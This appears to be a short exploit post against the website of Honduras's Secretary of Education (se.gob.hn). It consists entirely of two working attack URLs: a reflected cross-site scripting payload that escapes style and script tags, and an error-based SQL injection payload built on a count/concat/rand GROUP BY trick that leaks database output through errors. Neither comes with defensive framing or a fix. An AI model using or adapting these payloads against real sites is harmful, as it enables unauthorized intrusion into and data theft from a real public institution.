XSS-SQLI Http://se.gob.hn (Secretary of Education)

XSS:

http://www.se.gob.hn/index.php?a='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00005A)%3C/script%3E&url=ANASH%3Ch1%3Exss%3C/h1%3E

SQLI:

http://www.se.gob.hn/index.php?a=-1'%20or%201%3d1%2b(select%201%20and%20row(1%2c1)%3e(select%20count(*)%2cconcat(CONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97))%2c0x3a%2cfloor(rand()*2))x%20from%20(select%201%20union%20select%202)a%20group%20by%20x%20limit%201))%2b'&url=ANASH